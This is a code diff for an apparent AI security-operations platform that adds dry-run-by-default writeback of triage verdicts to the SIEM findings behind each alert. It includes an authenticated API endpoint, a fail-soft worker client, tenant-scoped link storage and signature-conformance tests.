("sentinelone", "isolate_host"),
("sentinelone", "kill_process"),
("sentinelone", "quarantine_file"),
@@ -123,6 +130,7 @@ def test_builtin_executors_cover_canonical_vendor_capability_pairs() -> None:
("splunk", "create_notable_event"),
("splunk", "search_siem"),
("splunk", "sync_detection_rule"),
+ ("splunk", "update_alert_disposition"),
}
assert pairs == expected
@@ -153,7 +161,7 @@ def test_register_builtin_executors_is_idempotent_with_overwrite() -> None:
register_builtin_executors()
# Second call without overwrite would raise — confirm overwrite works.
count = register_builtin_executors(overwrite=True)
- assert count == 52
+ assert count == 57
def test_register_builtin_twice_without_overwrite_raises() -> None:
diff --git a/services/actions/tests/test_siem_client_signatures.py b/services/actions/tests/test_siem_client_signatures.py
new file mode 100644
index 000000000..7a07d8484
--- /dev/null
+++ b/services/actions/tests/test_siem_client_signatures.py
@@ -0,0 +1,136 @@
+"""SIEM executors must call their clients with the signatures the clients have.
+
+Simulation mode never constructs the client, so a wrong keyword argument is
+invisible in every test that does not supply credentials — and then raises
+``TypeError`` on the first live call, in a customer's environment, on the one
+code path nobody exercised.
+
+Two instances shipped: ``SearchSIEMExecutor`` passed ``max_results=`` to a
+client taking ``max_count`` (fixed in #570), and ``CreateNotableEventExecutor``
+passed ``title=`` / ``description=`` / ``fields=`` to a client taking
+``rule_name`` / ``event_data``.
+
+``create_autospec`` is the point. A hand-written fake with ``**kwargs``
+accepts anything and so proves nothing; an autospec'd mock enforces the real
+signature and fails exactly as the live client would.
+"""
+
+from __future__ import annotations
+
+from unittest.mock import create_autospec
+from uuid import uuid4
+
+import pytest
+from app.clients.elastic_client import ElasticClient
+from app.clients.qradar_client import QRadarClient
+from app.clients.sentinel_client import SentinelClient
+from app.clients.splunk_client import SplunkClient
+from app.executors import siem
+from app.executors.siem import (
+ CreateNotableEventExecutor,
+ SearchSIEMExecutor,
+ UpdateAlertDispositionExecutor,
+)
+from app.models.action import ActionRequest, ActionStatus, ActionType
+
+
+def _autospec(cls):
+ """An async-aware autospec whose methods reject wrong keyword arguments."""
+ return create_autospec(cls, spec_set=True, instance=True)
+
+
+def _request(action_type: ActionType, **parameters) -> ActionRequest:
+ return ActionRequest(
+ incident_id=uuid4(),
+ tenant_id=uuid4(),
+ action_type=action_type,
+ target=parameters.pop("target", "FINDING-1"),
+ parameters=parameters,
+ rationale="signature conformance test",
+ )
+
+
+async def test_create_notable_event_matches_the_client_signature(monkeypatch) -> None:
+ """Fails on the pre-fix executor: `title=` is not a parameter of the client."""
+ client = _autospec(SplunkClient)
+ client.create_notable_event.return_value = {"success": True}
+ monkeypatch.setattr(siem, "_splunk_client", lambda params: client)
+
+ result = await CreateNotableEventExecutor().execute(
+ _request(
+ ActionType.CREATE_NOTABLE_EVENT,
+ event_title="Credential stuffing on svc-01",
+ severity="high",
+ description="120 failed logins in 4 minutes",
+ fields={"src_ip": "198.51.100.7"},
+ )
+ )
+
+ assert result.status is ActionStatus.COMPLETED, result.error
+ kwargs = client.create_notable_event.call_args.kwargs
+ assert kwargs["rule_name"] == "Credential stuffing on svc-01"
+ assert kwargs["event_data"]["description"] == "120 failed logins in 4 minutes"
+ assert kwargs["event_data"]["src_ip"] == "198.51.100.7"
+
+
+async def test_search_siem_matches_the_client_signature(monkeypatch) -> None:
+ client = _autospec(SplunkClient)
+ client.run_search.return_value = [{"_raw": "evt"}]
+ monkeypatch.setattr(siem, "_splunk_client", lambda params: client)
+
+ result = await SearchSIEMExecutor().execute(_request(ActionType.SEARCH_SIEM, query="index=main", max_results=25))
+
+ assert result.status is ActionStatus.COMPLETED, result.error
+ assert client.run_search.call_args.kwargs["max_count"] == 25
+
+
+ ("vendor", "factory_attr", "client_cls", "method", "disposition"),
+ [
+ ("splunk", "_splunk_client", SplunkClient, "suppress_notable_event", "false_positive"),
+ ("splunk", "_splunk_client", SplunkClient, "acknowledge_notable_event", "true_positive"),
+ ("elastic", "_elastic_client", ElasticClient, "close_alert", "benign"),
+ ("elastic", "_elastic_client", ElasticClient, "acknowledge_alert", "true_positive"),
+ ("sentinel", "_sentinel_client", SentinelClient, "close_incident", "false_positive"),
+ ("sentinel", "_sentinel_client", SentinelClient, "escalate_incident", "true_positive"),
+ ("qradar", "_qradar_client", QRadarClient, "close_offense", "false_positive"),
+ ("qradar", "_qradar_client", QRadarClient, "escalate_offense", "true_positive"),
+ ],
+)
+async def test_disposition_writeback_matches_every_client_signature(
+ monkeypatch,
+ vendor: str,
+ factory_attr: str,
+ client_cls: type,
+ method: str,
+ disposition: str,
+) -> None:
+ """Every writeback arm, autospec'd, for both the close and escalate paths.
+
+ Without this, a rename in any of four clients would surface as a
+ ``TypeError`` only in a live customer environment — the same defect class
+ that shipped twice already on this exact module.
+ """
+ client = _autospec(client_cls)
+ getattr(client, method).return_value = {"success": True}
+ for attr in ("_splunk_client", "_elastic_client", "_sentinel_client", "_qradar_client"):
+ monkeypatch.setattr(siem, attr, (lambda params: client) if attr == factory_attr else (lambda params: None))
+
+ result = await UpdateAlertDispositionExecutor().execute(
+ _request(
+ ActionType.UPDATE_ALERT_DISPOSITION,
+ target="FINDING-77",
+ disposition=disposition,
+ confidence=0.93,
+ rationale="Matches a known scanner fingerprint.",
+ alert_vendor=vendor,
+ qradar_closing_reason_id=3,
+ )
+ )
+
+ assert result.status is ActionStatus.COMPLETED, result.error
+ assert result.output["written"] is True
+ getattr(client, method).assert_called_once()
diff --git a/services/agents/app/investigator/siem_writeback.py b/services/agents/app/investigator/siem_writeback.py
new file mode 100644
index 000000000..dec2ab127
--- /dev/null
+++ b/services/agents/app/investigator/siem_writeback.py
@@ -0,0 +1,146 @@
+"""Ask the API to write this run's verdict back to the source finding.
+
+The worker does not dispatch the action itself. The API service holds the
+credential vault, the tenant-scoped database session and the actions-service
+token, and it is the single governed path a response action takes — a second
+executor here would mean two places that can change a customer's SIEM, two
+audit trails, and two copies of the credential handling, of which one would go
+stale.
+
+So this module is deliberately thin: one authenticated POST, a structured log
+line, and no exceptions. Everything about *what* may be written — which
+dispositions close a finding, which escalate, which are refused — is decided
+downstream, because a policy mirrored in two services is a policy that
+disagrees with itself eventually.
+
+Governance
+----------
+``AISOC_SIEM_WRITEBACK_ENABLED`` (default **on**) turns the call off here as
+well as downstream, so an operator can stop the traffic at either end.
+``AISOC_SIEM_WRITEBACK_EXECUTE`` is read by the API, not here: a worker that
+could decide to execute would be a second opinion on the one question the
+operator is supposed to own.
+
+Fail-soft is a hard requirement. The verdict is already durable by the time
+this runs; a Splunk outage must not undo it, and an exception escaping here
+would re-drive the whole triage through the retry path and eventually
+dead-letter an alert that was triaged perfectly well.
+"""
+
+from __future__ import annotations
+
+import os
+from typing import Any
+
+import httpx
+import structlog
+
+logger = structlog.get_logger()
+
+_API_URL = os.getenv("API_SERVICE_URL", "http://api:8000")
+_TIMEOUT_S = float(os.getenv("AISOC_SIEM_WRITEBACK_TIMEOUT_S", "20"))
+
+#: Verdicts worth sending. The API refuses everything else anyway; this avoids
+#: an HTTP round trip per undecided alert, which on a noisy tenant is most of
+#: them. It is never wider than the downstream set.
+_WORTH_SENDING: frozenset[str] = frozenset(
+ {
+ "true_positive",
+ "false_positive",
+ "benign",
+ "benign_true_positive",
+ "escalate",
+ }
+)
+
+
+def writeback_enabled() -> bool:
+ return os.getenv("AISOC_SIEM_WRITEBACK_ENABLED", "1").strip().lower() not in {"0", "false", "no", "off"}
+
+
+def _service_token() -> str:
+ """Shared secret for the internal route. Empty means "do not call"."""
+ return os.getenv("AISOC_AGENTS_SERVICE_TOKEN", "").strip()
+
+
+async def write_back_disposition(
+ *,
+ tenant_id: str,
+ alert_id: str,
+ disposition: str,
+ confidence: float | None = None,
+ rationale: str = "",
+) -> dict[str, Any] | None:
+ """Post the verdict to the API's writeback route.
+
+ Returns the API's report, or ``None`` when nothing was attempted. Never
+ raises.
+
+ The report is returned rather than reduced to a boolean because the two
+ states a caller must not confuse — "written" and "would have been written"
+ — are both successes at the HTTP layer and are distinguished only by the
+ ``executed`` field.
+ """
+ if not writeback_enabled():
+ return None
+ if not alert_id or not tenant_id:
+ return None
+ if disposition not in _WORTH_SENDING:
+ return None
+
+ token = _service_token()
+ if not token:
+ # A loud skip, not a silent one. Without the shared secret the API
+ # refuses the service path by design, so this would be a guaranteed
+ # 401 on every triaged alert — an operator needs to see why the loop
+ # is not closing rather than find an empty audit trail.
+ logger.warning(
+ "siem_writeback.no_service_token",
+ alert_id=alert_id,
+ reason="AISOC_AGENTS_SERVICE_TOKEN is unset, so the API's service path is closed",
+ )
+ return None
+
+ url = f"{_API_URL.rstrip('/')}/api/v1/alerts/{alert_id}/source-writeback"
+ payload: dict[str, Any] = {
+ "disposition": disposition,
+ "rationale": rationale[:4000],
+ "tenant_id": tenant_id,
+ }
+ if confidence is not None:
+ payload["confidence"] = max(0.0, min(1.0, float(confidence)))
+
+ try:
+ async with httpx.AsyncClient(timeout=_TIMEOUT_S) as client:
+ response = await client.post(url, json=payload, headers={"X-AiSOC-Service-Token": token})
+ except httpx.HTTPError as exc:
+ logger.warning("siem_writeback.unreachable", alert_id=alert_id, error=str(exc)[:300])
+ return None
+
+ if response.status_code >= 400:
+ logger.warning(
+ "siem_writeback.refused",
+ alert_id=alert_id,
+ status_code=response.status_code,
+ )
+ return None
+
+ try:
+ report = response.json()
+ except ValueError:
+ logger.warning("siem_writeback.bad_response", alert_id=alert_id)
+ return None
+ if not isinstance(report, dict):
+ return None
+
+ logger.info(
+ "siem_writeback.reported",
+ alert_id=alert_id,
+ disposition=disposition,
+ mode=report.get("mode"),
+ # Echoed verbatim: if this is False the loop did NOT close, whatever
+ # the HTTP status said.
+ executed=bool(report.get("executed")),
+ outcomes=len(report.get("outcomes") or []),
+ )
+ return report
diff --git a/services/agents/app/workers/fused_alert_consumer.py b/services/agents/app/workers/fused_alert_consumer.py
index 434ace47b..fd1b7ebcc 100644
--- a/services/agents/app/workers/fused_alert_consumer.py
+++ b/services/agents/app/workers/fused_alert_consumer.py
@@ -49,6 +49,7 @@ from app.core.cost_governor import Decision, get_governor
from app.core.cost_telemetry import CostTracker
from app.graph.runner import default_budget, run_escalation
from app.investigator import ledger as ledger_module
+from app.investigator import siem_writeback
from app.investigator.bundle_prompt import prefetch_context_bundle_dict
from app.llm.factory import llm_override
from app.memory.outcomes import AI, lookup_prior, record_outcome, should_auto_suppress
@@ -86,6 +87,12 @@ _METRICS = {
"persist_retries": 0,
"dead_lettered": 0,
"approvals_raised": 0,
+ # Two-way SIEM loop. Kept as two counters, not one: "attempted" grows
+ # on every dry run too, and an operator who sees attempts climbing
+ # while executions stay at zero is looking at the default posture
+ # rather than a broken integration.
+ "writeback_attempted": 0,
+ "writeback_executed": 0,
"errors": 0,
}
@@ -491,6 +498,12 @@ class FusedAlertTriageWorker:
# grant — the responder app's queue had no producer at all.
approvals = await self._raise_approvals(state)
+ # Close the loop with the SIEM that raised this alert. Runs last and
+ # fails soft: the verdict is already durable, and an unreachable
+ # Splunk must not re-drive the retry path and dead-letter an alert
+ # that was triaged correctly.
+ source_writeback = await self._write_back_to_source(state, verdict, confidence, rationale=_rationale_of(state))
+
return {
"run_id": str(state.run_id),
"incident_id": str(state.incident_id),
@@ -502,9 +515,49 @@ class FusedAlertTriageWorker:
# Copilot default: triage is read-only, response requires approval.
"response_dispatched": False,
"approvals_raised": approvals,
+ # None when nothing was attempted. When present, `executed` is the
+ # only field that means a vendor was actually written to — a dry
+ # run reports the same shape with `executed: False`.
+ "source_writeback": source_writeback,
"proposed_actions": [{"action_type": a.action_type, "requires_approval": a.requires_approval} for a in state.proposed_actions],
}
+ async def _write_back_to_source(
+ self,
+ state: InvestigationState,
+ verdict: Any,
+ confidence: float,
+ *,
+ rationale: str,
+ ) -> dict[str, Any] | None:
+ """Ask the API to project this verdict onto the source finding.
+
+ The worker decides nothing about *what* may be written — that policy
+ lives in the actions service, so it cannot drift between two copies.
+ All that happens here is the call, and the metrics that let an
+ operator see whether the loop is closing.
+ """
+ alert_id = str((state.raw_alert or {}).get("id") or "")
+ if not alert_id or not verdict:
+ return None
+ try:
+ report = await siem_writeback.write_back_disposition(
+ tenant_id=str(state.tenant_id),
+ alert_id=alert_id,
+ disposition=str(verdict),
+ confidence=float(confidence or 0.0),
+ rationale=rationale,
+ )
+ except Exception as exc: # noqa: BLE001 — a durable verdict outranks its writeback
+ logger.warning("auto_triage_worker.source_writeback_failed", alert_id=alert_id, error=str(exc)[:300])
+ return None
+ if report is None:
+ return None
+ _METRICS["writeback_attempted"] += 1
+ if report.get("executed"):
+ _METRICS["writeback_executed"] += 1
+ return report
+
async def _raise_approvals(self, state: InvestigationState) -> list[str]:
"""Queue each approval-requiring proposed action; return the ids.
diff --git a/services/agents/tests/test_siem_writeback_poster.py b/services/agents/tests/test_siem_writeback_poster.py
new file mode 100644
index 000000000..73d58b925
--- /dev/null
+++ b/services/agents/tests/test_siem_writeback_poster.py
@@ -0,0 +1,156 @@
+"""The worker's half of the loop: post the verdict, decide nothing, never raise.
+
+By the time this runs the verdict is already durable in the ledger and on the
+alerts row. An exception escaping here would re-drive the whole triage through
+the bounded-retry path and eventually dead-letter an alert that was triaged
+perfectly well, so every failure mode has to come back as ``None``.
+
+It also must not hold an opinion about what may be written. The policy lives
+in the actions service; a copy here would be a second policy that disagrees
+with the first the day one of them changes.
+"""
+
+from __future__ import annotations
+
+import httpx
+import pytest
+from app.investigator import siem_writeback
+
+TENANT = "11111111-1111-1111-1111-111111111111"
+ALERT = "22222222-2222-2222-2222-222222222222"
+
+
+class _Response:
+ def __init__(self, status_code: int = 200, payload: object | None = None, *, bad_json: bool = False) -> None:
+ self.status_code = status_code
+ self._payload = payload if payload is not None else {"mode": "dry_run", "executed": False, "outcomes": []}
+ self._bad_json = bad_json
+
+ def json(self) -> object:
+ if self._bad_json:
+ raise ValueError("not json")
+ return self._payload
+
+
+class _Client:
+ """Minimal async context manager standing in for ``httpx.AsyncClient``."""
+
+ def __init__(self, response: object = None, error: Exception | None = None) -> None:
+ self._response = response or _Response()
+ self._error = error
+ self.calls: list[dict] = []
+
+ async def __aenter__(self):
+ return self
+
+ async def __aexit__(self, *exc):
+ return False
+
+ async def post(self, url, json=None, headers=None):
+ self.calls.append({"url": url, "json": json, "headers": headers or {}})
+ if self._error is not None:
+ raise self._error
+ return self._response
+
+
[email protected](autouse=True)
+def _token(monkeypatch):
+ monkeypatch.setenv("AISOC_AGENTS_SERVICE_TOKEN", "shared-secret-value")
+ monkeypatch.delenv("AISOC_SIEM_WRITEBACK_ENABLED", raising=False)
+
+
+def _install(monkeypatch, client: _Client) -> None:
+ monkeypatch.setattr(httpx, "AsyncClient", lambda **kwargs: client)
+
+
+async def test_posts_the_verdict_with_the_service_token(monkeypatch) -> None:
+ client = _Client()
+ _install(monkeypatch, client)
+
+ report = await siem_writeback.write_back_disposition(
+ tenant_id=TENANT,
+ alert_id=ALERT,
+ disposition="false_positive",
+ confidence=0.91,
+ rationale="Matches a known scanner fingerprint.",
+ )
+
+ assert report == {"mode": "dry_run", "executed": False, "outcomes": []}
+ call = client.calls[0]
+ assert call["url"].endswith(f"/api/v1/alerts/{ALERT}/source-writeback")
+ assert call["headers"]["X-AiSOC-Service-Token"] == "shared-secret-value"
+ assert call["json"]["disposition"] == "false_positive"
+ assert call["json"]["tenant_id"] == TENANT
+ assert call["json"]["confidence"] == pytest.approx(0.91)
+
+
+async def test_no_token_means_no_call(monkeypatch) -> None:
+ """Without the shared secret the API refuses by design; skip loudly."""
+ monkeypatch.delenv("AISOC_AGENTS_SERVICE_TOKEN", raising=False)
+ client = _Client()
+ _install(monkeypatch, client)
+
+ assert await siem_writeback.write_back_disposition(tenant_id=TENANT, alert_id=ALERT, disposition="benign") is None
+ assert client.calls == []
+
+
+async def test_disabled_flag_stops_the_call(monkeypatch) -> None:
+ monkeypatch.setenv("AISOC_SIEM_WRITEBACK_ENABLED", "0")
+ client = _Client()
+ _install(monkeypatch, client)
+
+ assert await siem_writeback.write_back_disposition(tenant_id=TENANT, alert_id=ALERT, disposition="benign") is None
+ assert client.calls == []
+
+
[email protected]("disposition", ["needs_review", "resolved", "", "closed"])
+async def test_verdicts_the_api_would_refuse_cost_no_round_trip(monkeypatch, disposition: str) -> None:
+ client = _Client()
+ _install(monkeypatch, client)
+
+ assert await siem_writeback.write_back_disposition(tenant_id=TENANT, alert_id=ALERT, disposition=disposition) is None
+ assert client.calls == []
+
+
+ "client",
+ [
+ _Client(error=httpx.ConnectError("refused")),
+ _Client(error=httpx.ReadTimeout("slow")),
+ _Client(response=_Response(status_code=401)),
+ _Client(response=_Response(status_code=500)),
+ _Client(response=_Response(bad_json=True)),
+ _Client(response=_Response(payload=["not", "a", "dict"])),
+ ],
+)
+async def test_every_failure_mode_returns_none_rather_than_raising(monkeypatch, client: _Client) -> None:
+ _install(monkeypatch, client)
+ assert await siem_writeback.write_back_disposition(tenant_id=TENANT, alert_id=ALERT, disposition="benign") is None
+
+
+async def test_missing_identifiers_are_a_no_op(monkeypatch) -> None:
+ client = _Client()
+ _install(monkeypatch, client)
+ assert await siem_writeback.write_back_disposition(tenant_id="", alert_id=ALERT, disposition="benign") is None
+ assert await siem_writeback.write_back_disposition(tenant_id=TENANT, alert_id="", disposition="benign") is None
+ assert client.calls == []
+
+
+async def test_the_worker_does_not_decide_whether_to_execute(monkeypatch) -> None:
+ """Execution is the API's call. The worker must not send a hint either way."""
+ monkeypatch.setenv("AISOC_SIEM_WRITEBACK_EXECUTE", "1")
+ client = _Client()
+ _install(monkeypatch, client)
+
+ await siem_writeback.write_back_disposition(tenant_id=TENANT, alert_id=ALERT, disposition="benign")
+
+ body = client.calls[0]["json"]
+ assert "dry_run" not in body
+ assert "execute" not in body
diff --git a/services/api/app/api/v1/endpoints/alert_writeback.py b/services/api/app/api/v1/endpoints/alert_writeback.py
new file mode 100644
index 000000000..110f9bc3c
--- /dev/null
+++ b/services/api/app/api/v1/endpoints/alert_writeback.py
@@ -0,0 +1,194 @@
+"""Write an AiSOC verdict back to the finding that produced the alert.
+
+Two callers, two identities, one governed path.
+
+A person in the console reaches ``POST /alerts/{id}/source-writeback`` with a
+session and ``alerts:write``. The agents worker reaches the same route with a
+shared service token, because it has no session to present and no human to
+attribute the call to.
+
+The service token is **fail-closed**: when ``AISOC_AGENTS_SERVICE_TOKEN`` is
+unset there is no service path at all, and an unauthenticated caller is
+refused rather than admitted. An empty secret that means "allow everybody" is
+how an internal route becomes a public one, and this route can change state in
+a customer's SIEM.
+
+Nothing here executes by default. ``AISOC_SIEM_WRITEBACK_EXECUTE`` is off, so
+the response says ``mode: "dry_run"`` and ``executed: false`` until an operator
+turns it on.
+"""
+
+from __future__ import annotations
+
+import hmac
+import os
+import uuid
+from typing import Annotated, Any
+
+import structlog
+from fastapi import APIRouter, Depends, Header, HTTPException, Security, status
+from fastapi.security import HTTPAuthorizationCredentials
+from pydantic import BaseModel, Field
+from sqlalchemy import select
+from sqlalchemy.ext.asyncio import AsyncSession
+
+from app.api.v1.deps import AuthUser, CurrentUser, DBSession, bearer_scheme, get_current_user
+from app.db.database import get_db
+from app.models.alert import Alert
+from app.services import siem_writeback
+from app.services.alert_source_link import links_for_alert
+
+logger = structlog.get_logger(__name__)
+
+router = APIRouter(prefix="/alerts", tags=["alerts"])
+
+_SERVICE_TOKEN_ENV = "AISOC_AGENTS_SERVICE_TOKEN"
+
+
+class SourceWritebackRequest(BaseModel):
+ """What the caller believes about the alert."""
+
+ disposition: str = Field(description="Canonical AiSOC disposition. Anything unrecognised is refused, not guessed.")
+ confidence: float | None = Field(default=None, ge=0.0, le=1.0)
+ rationale: str = Field(default="", max_length=4000)
+ #: Required from a service caller, which has no session to read it from.
+ #: Ignored for a session caller, whose tenant comes from the session.
+ tenant_id: uuid.UUID | None = None
+
+
+class SourceLinkResponse(BaseModel):
+ vendor: str
+ external_id: str
+ external_url: str | None = None
+ last_disposition: str | None = None
+ last_writeback_action: str | None = None
+ last_writeback_status: str | None = None
+ #: TRUE only when a vendor call actually ran. A dry run is FALSE.
+ executed: bool = False
+
+
+def service_token_valid(presented: str | None) -> bool:
+ """Constant-time check against the configured service token.
+
+ Returns False when no token is configured: an unset secret disables the
+ service path rather than opening it to everybody.
+ """
+ configured = os.getenv(_SERVICE_TOKEN_ENV, "").strip()
+ if not configured or not presented:
+ return False
+ return hmac.compare_digest(configured, presented.strip())
+
+
+async def optional_user(
+ credentials: Annotated[HTTPAuthorizationCredentials | None, Security(bearer_scheme)],
+ db: AsyncSession = Depends(get_db),
+) -> CurrentUser | None:
+ """A session if there is one, ``None`` if there is not.
+
+ The normal dependency raises on a missing or invalid session, which would
+ make the service path unreachable. Swallowing the 401 here is safe because
+ the caller still has to satisfy one of the two branches in
+ :func:`_resolve_caller`; it never admits anybody on its own.
+ """
+ try:
+ return await get_current_user(credentials, db)
+ except HTTPException:
+ return None
+
+
+def _resolve_caller(
+ body_tenant_id: uuid.UUID | None,
+ user: CurrentUser | None,
+ service_token: str | None,
+) -> tuple[uuid.UUID, str]:
+ """Return ``(tenant_id, requested_by)`` for an authorised caller.
+
+ A session always wins, and its tenant comes from the session rather than
+ the body — accepting the client's copy would let any authenticated user
+ write a disposition into another tenant's SIEM.
+ """
+ if user is not None:
+ user.require_permission("alerts:write")
+ return user.tenant_id, f"user:{user.email}"
+
+ if service_token_valid(service_token):
+ if body_tenant_id is None:
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail="a service caller must name the tenant it is acting for",
+ )
+ return body_tenant_id, "aisoc-agents"
+
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="authentication required",
+ headers={"WWW-Authenticate": "Bearer"},
+ )
+
+
[email protected]("/{alert_id}/source-writeback", summary="Write an AiSOC verdict back to the source finding")
+async def write_back(
+ alert_id: uuid.UUID,
+ body: SourceWritebackRequest,
+ db: DBSession,
+ x_aisoc_service_token: Annotated[str | None, Header()] = None,
+ user: Annotated[CurrentUser | None, Depends(optional_user)] = None,
+) -> dict[str, Any]:
+ """Project ``disposition`` onto every source finding behind this alert.
+
+ The response distinguishes four things a caller could otherwise confuse:
+ ``mode`` (live / dry_run / disabled), ``executed`` (whether a vendor call
+ actually ran), each outcome's ``status``, and the per-vendor ``detail``
+ explaining a refusal. A dry run reports ``executed: false`` and a detail
+ that begins ``DRY RUN``.
+ """
+ tenant_id, requested_by = _resolve_caller(body.tenant_id, user, x_aisoc_service_token)
+
+ result = await db.execute(select(Alert.id).where(Alert.id == alert_id, Alert.tenant_id == tenant_id))
+ if result.scalar_one_or_none() is None:
+ raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="Alert not found")
+
+ report = await siem_writeback.write_back_disposition(
+ db,
+ tenant_id=tenant_id,
+ alert_id=alert_id,
+ disposition=body.disposition,
+ confidence=body.confidence,
+ rationale=body.rationale,
+ requested_by=requested_by,
+ )
+ logger.info(
+ "alert_writeback.completed",
+ alert_id=str(alert_id),
+ mode=report.mode,
+ executed=report.executed_count,
+ requested_by=str(requested_by).replace("\r", "").replace("\n", " ")[:128],
+ )
+ return report.as_dict()
+
+
+ "/{alert_id}/source-links",
+ response_model=list[SourceLinkResponse],
+ summary="Which vendor findings produced this alert",
+)
+async def source_links(
+ alert_id: uuid.UUID,
+ db: DBSession,
+ user: AuthUser,
+) -> list[SourceLinkResponse]:
+ """The reconciliation view: source findings and their last writeback."""
+ user.require_permission("alerts:read")
+ links = await links_for_alert(db, tenant_id=user.tenant_id, alert_id=alert_id)
+ return [
+ SourceLinkResponse(
+ vendor=link.vendor,
+ external_id=link.external_id,
+ external_url=link.external_url,
+ last_disposition=link.last_disposition,
+ last_writeback_action=link.last_writeback_action,
+ last_writeback_status=link.last_writeback_status,
+ executed=link.executed,
+ )
+ for link in links
+ ]
diff --git a/services/api/app/api/v1/router.py b/services/api/app/api/v1/router.py
index 76951b9b8..e55c69585 100644
--- a/services/api/app/api/v1/router.py
+++ b/services/api/app/api/v1/router.py
@@ -6,6 +6,7 @@ from app.api.v1.endpoints import (
agents,
airgap,
alert_explain,
+ alert_writeback,
alerts,
api_keys,
approvals,
@@ -88,6 +89,10 @@ api_router.include_router(alerts.router)
# Structured AI explainer (POST /alerts/{id}/explain) — single-shot
# JSON envelope counterpart to the agent service's NDJSON stream.
api_router.include_router(alert_explain.router)
+# Two-way SIEM loop (POST /alerts/{id}/source-writeback) — AiSOC's verdict
+# written back onto the notable / signal / offense that raised the alert.
+# Dry-run by default; AISOC_SIEM_WRITEBACK_EXECUTE opts in to the vendor call.
+api_router.include_router(alert_writeback.router)
api_router.include_router(cases.router)
# Attack-chain timeline (T3.3 — v8.0 parallel team plan).
# Backs apps/web/src/app/(app)/cases/[id]/attack-chain/page.tsx with a
diff --git a/services/api/app/services/actions_client.py b/services/api/app/services/actions_client.py
index fc67849ef..b487716c0 100644
--- a/services/api/app/services/actions_client.py
+++ b/services/api/app/services/actions_client.py
@@ -155,3 +155,47 @@ async def decide_action(
if chatops_approver is not None:
body["chatops_approver"] = chatops_approver
return await _post(f"/api/v1/actions/{action_id}/{verb}", body or None)
+
+
+async def dispatch_live_action(
+ *,
+ capability: str,
+ vendor_id: str,
+ target: str,
+ tenant_id: str,
+ params: dict[str, Any] | None = None,
+ auth_config: dict[str, Any] | None = None,
+ dry_run: bool = True,
+ requested_by: str = "aisoc-api",
+ case_id: str | None = None,
+) -> dict[str, Any]:
+ """Dispatch a ``(vendor_id, capability)`` pair to the live-action registry.
+
+ ``dry_run`` defaults to True. Every caller that wants a vendor touched has
+ to say so, which is the opposite of the usual default and deliberate: the
+ live-action layer is the one place in the platform that changes somebody
+ else's estate, and a forgotten keyword argument should cost a preview
+ rather than an unintended containment.
+
+ ``auth_config`` carries decrypted connector credentials in *connector
+ schema* field names; the actions service translates them into the
+ executor's vendor-prefixed parameters at the dispatch boundary. They are
+ passed per call and never persisted here.
+ """
+ payload: dict[str, Any] = {
+ "capability": capability,
+ "vendor_id": vendor_id,
+ "target": target,
+ "tenant_id": tenant_id,
+ "params": params or {},
+ "dry_run": dry_run,
+ "requested_by": requested_by,
+ }
+ if auth_config:
+ payload["auth_config"] = auth_config
+ if case_id:
+ payload["case_id"] = case_id
+ # `/dry-run` forces dry_run server-side regardless of the body, so a
+ # preview cannot become a live call through a serialisation mistake.
+ path = "/api/v1/live-actions/dispatch" if not dry_run else "/api/v1/live-actions/dry-run"
+ return await _post(path, payload)
diff --git a/services/api/app/services/alert_source_link.py b/services/api/app/services/alert_source_link.py
new file mode 100644
index 000000000..1d96f48e1
--- /dev/null
+++ b/services/api/app/services/alert_source_link.py
@@ -0,0 +1,246 @@
+"""Reconcile an AiSOC alert with the vendor finding that produced it.
+
+Ingest knows the vendor's identifier for a finding — the normalizer maps
+``external_id`` onto OCSF ``finding.uid`` — and until migration 057 nothing
+downstream kept it, so by the time a row reached ``alerts`` there was no way
+to answer "which Splunk notable was this?" and therefore no way to write a
+verdict back to it.
+
+This module is the read/write path for that link. Every query filters by
+``tenant_id`` in the ``WHERE`` clause. Row-level security is enabled on the
+table as well, but the query-layer filter is the control being relied on here
+— RLS depends on the session GUC being set, and a code path that forgets it
+would read across tenants with the policy still enabled.
+"""
+
+from __future__ import annotations
+
+import uuid
+from dataclasses import dataclass
+from typing import Any
+
+import structlog
+from sqlalchemy import text
+from sqlalchemy.ext.asyncio import AsyncSession
+
+logger = structlog.get_logger(__name__)
+
+#: Live-actions vendor ids this platform can write a disposition back to.
+#: A link row naming anything else is stored (the connector may legitimately
+#: know an id AiSOC cannot act on) but never dispatched.
+WRITEBACK_VENDORS: frozenset[str] = frozenset({"splunk", "elastic", "sentinel", "qradar", "defender"})
+
+#: connector_type -> live-actions vendor id. Mirrors the actions service's own
+#: alias map; kept here because the API resolves the vendor before it ever
+#: talks to the actions service.
+CONNECTOR_TYPE_TO_VENDOR: dict[str, str] = {
+ "splunk": "splunk",
+ "splunk_enterprise": "splunk",
+ "elastic": "elastic",
+ "elasticsearch": "elastic",
+ "elastic_security": "elastic",
+ "microsoft_sentinel": "sentinel",
+ "azure_sentinel": "sentinel",
+ "sentinel": "sentinel",
+ "qradar": "qradar",
+ "ibm_qradar": "qradar",
+ "defender": "defender",
+ "microsoft_defender": "defender",
+ "azure_defender": "defender",
+}
+
+
+def vendor_for_connector_type(connector_type: str | None) -> str | None:
+ """Map a connector type onto the vendor id the dispatcher routes on."""
+ if not connector_type:
+ return None
+ return CONNECTOR_TYPE_TO_VENDOR.get(connector_type.strip().lower())
+
+
+@dataclass(frozen=True)
+class AlertSourceLink:
+ """One (alert, vendor, finding) link and its last writeback attempt."""
+
+ id: uuid.UUID
+ tenant_id: uuid.UUID
+ alert_id: uuid.UUID
+ vendor: str
+ external_id: str
+ connector_instance_id: uuid.UUID | None = None
+ external_url: str | None = None
+ last_disposition: str | None = None
+ last_writeback_action: str | None = None
+ last_writeback_status: str | None = None
+ last_writeback_detail: str | None = None
+ executed: bool = False
+
+ @property
+ def dispatchable(self) -> bool:
+ return self.vendor in WRITEBACK_VENDORS and bool(self.external_id)
+
+
+def _row_to_link(row: Any) -> AlertSourceLink:
+ return AlertSourceLink(
+ id=row.id,
+ tenant_id=row.tenant_id,
+ alert_id=row.alert_id,
+ vendor=row.vendor,
+ external_id=row.external_id,
+ connector_instance_id=row.connector_instance_id,
+ external_url=row.external_url,
+ last_disposition=row.last_disposition,
+ last_writeback_action=row.last_writeback_action,
+ last_writeback_status=row.last_writeback_status,
+ last_writeback_detail=row.last_writeback_detail,
+ executed=bool(row.executed),
+ )
+
+
+_SELECT = """
+ SELECT id, tenant_id, alert_id, vendor, external_id, connector_instance_id,
+ external_url, last_disposition, last_writeback_action,
